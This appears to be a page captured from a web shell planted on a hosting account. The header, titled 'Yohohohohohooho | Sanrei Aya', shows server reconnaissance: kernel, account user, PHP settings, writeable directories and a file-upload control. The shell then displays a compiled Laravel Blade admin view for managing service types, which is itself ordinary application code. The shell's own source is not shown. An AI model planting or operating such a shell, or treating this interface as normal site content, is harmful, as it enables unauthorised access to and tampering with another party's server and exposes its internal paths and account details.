Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/storage/framework/views/061e72992af54b154a5f8fac41e759b6.php
<?php $__env->startSection('title', $breadcrumbs[count($breadcrumbs) - 1]['name']); ?>

<?php $__env->startSection('content'); ?>
    <?php echo $__env->make('components/breadcrumb', ['breadcrumbs' => $breadcrumbs], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>

    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">

            <form action="<?php echo e(route('master.setting.service-type.index')); ?>" method="GET">
                <div class="row">
                    <div class="col-md-9 mb-2"></div>
                    <div class="col-md-3 mb-2">
                        <div class="d-flex flex-row">
                            <select class="form-control tenant_idSelect2" name="tenant_id" id="tenant_id">
                                <?php if(Auth::user()->model_type == 'App\Models\Bussiness'): ?>
                                    <option value=0 <?php echo e($data_input['tenant_id'] == 0 ? "selected" : ""); ?>>All</option>
                                <?php endif; ?>
                                
                                <?php $__currentLoopData = $tenant; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <option value="<?php echo e($data->id); ?>" <?php echo e($data_input['tenant_id'] == $data->id ? "selected" : ""); ?>><?php echo e($data->name); ?></option>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select>
                            <button type="submit" class="ml-2 btn btn-primary" onclick='buttonSpin("btn_search", "spinner-border spinner-border-sm")'>
                                <i id="btn_search" class="fa fa-search"></i>
                            </button>
                        </div>
                    </div>
                </div>
    
                <div class="card card-solid">
                    <div class="card-body">
                        <table id="example1" class="table table-sm table-bordered">
                            <thead>
                                <tr>
                                    <th class="text-center" hidden>ID</th>
                                    <th class="text-center">Data</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php $__currentLoopData = $query; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <tr>
                                        <td hidden>
                                            <?php echo e($data->id); ?>

                                        </td>
                                        <td>
                                            <div class="container my-2">
                                                <div class="row">
                                                    <div class="col mb-2">
                                                        <div class="row">
                                                            <div class="col-3 border-bottom">
                                                                <span class="text-capitalize">name</span>
                                                            </div>
                                                            <div class="col-9 border-bottom">
                                                                <span class="text-capitalize">: <?php echo e($data->name); ?></span>
                                                            </div>
                                                        </div>

                                                        <div class="row">
                                                            <div class="col-3 border-bottom">
                                                                <span class="text-capitalize">descript.</span>
                                                            </div>
                                                            <div class="col-9 border-bottom">
                                                                <span class="text-capitalize">: <?php echo e($data->description); ?></span>
                                                            </div>
                                                        </div>

                                                        <div class="row">
                                                            <div class="col-3 border-bottom">
                                                                <span class="text-capitalize">status</span>
                                                            </div>
                                                            <div class="col-9 border-bottom">
                                                                <span class="text-capitalize <?php echo e($data->is_active == 1 ? "text-primary" : "text-danger"); ?>">: <?php echo e($data->is_active == 1 ? "active" : "non active"); ?></span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>

                                                <div class="row rounded" style="background-color: #F5F5F5;">
                                                    <div class="col-md-6 mb-2">
                                                        <div class="d-flex justify-content-md-start justify-content-center p-1">
                                                            <small class="text-muted text-capitalize mt-2">tenant: <?php echo e($data->tenant->name); ?>, last updated: <?php echo e($data->created_at); ?></small>
                                                        </div>
                                                    </div>
                                                    <div class="col-md-6 mb-2">
                                                        <div class="d-flex justify-content-md-end justify-content-center p-1">
                                                            <button type="button" class="text-capitalize btn btn-warning btn-sm mt-2 mr-2" onclick="editData(<?php echo e($data->id); ?>)"><i class="fa fa-edit mr-2"></i>edit</button>
                                                            <button type="button" class="text-capitalize btn btn-danger btn-sm mt-2" onclick="deleteData(<?php echo e($data->id); ?>)"><i class="fa fa-trash mr-2"></i>delete</button>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </form>

        </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-style'); ?>
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-bs4/css/dataTables.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-buttons/css/buttons.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/toastr/toastr.min.css')); ?>">

    <style>
        button.colorCreate,
        a.colorCreate {
            color: white !important;
            background-color: black !important;
        }

        ,
    </style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-script'); ?>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/dataTables.buttons.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.print.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/jszip.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.html5.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.colVis.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/toastr/toastr.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/load-toastr.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/button-spin.js')); ?>"></script>

    <script>
        loadToastr(<?php echo json_encode(Session::get('message')); ?>);

        let table = $("#example1").DataTable({
            paging: true,
            lengthChange: true,
            searching: true,
            ordering: true,
            info: true,
            autoWidth: false,
            responsive: true,
            pageLength: 100,
            scrollY: true,
            order: [[0, 'desc']],

            columnDefs: [
                {
                    data: 'id',
                    name: 'id',
                    targets: 0,
                    className: 'dt-body-left',
                    visible: false,
                },
                {
                    data: 'data',
                    name: 'data',
                    targets: 1,
                    className: 'dt-body-left'
                }
            ],

            buttons: [{
                    text: '+ Create',
                    className: 'colorCreate',
                    action: function(e, dt, node, config) {
                        create();
                    }
                },
                'pageLength',
                {
                    extend: 'collection',
                    text: 'Control',
                    buttons: [
                        'copy', 'excel', 'print',
                        {
                            text: 'Visibility',
                            popoverTitle: 'Control',
                            extend: 'colvis',
                            collectionLayout: 'two-column',
                            postfixButtons: ['colvisRestore']
                        }
                    ]
                }
            ],
            layout: {
                topStart: ['buttons']
            }
        });

        function create() {
            window.location.href = "<?php echo e(route('master.setting.service-type.create')); ?>";
        }

        function editData(id) {
            var url = "<?php echo e(route('master.setting.service-type.edit', [':id'])); ?>";
            url = url.replace(':id', id);
            location.href = url;
        }

        function deleteData(id) {
            if (confirm('Are you sure?') == false) {
                return
            }

            var url = "<?php echo e(route('master.setting.service-type.destroy', [':id'])); ?>";
            url = url.replace(':id', id);
            location.href = url;
        }
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts/app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /home/elvh3918/public_html/pmm/resources/views/content/master/setting/service_type/index.blade.php ENDPATH**/ ?>

Yohohohohohooho | Sanrei Aya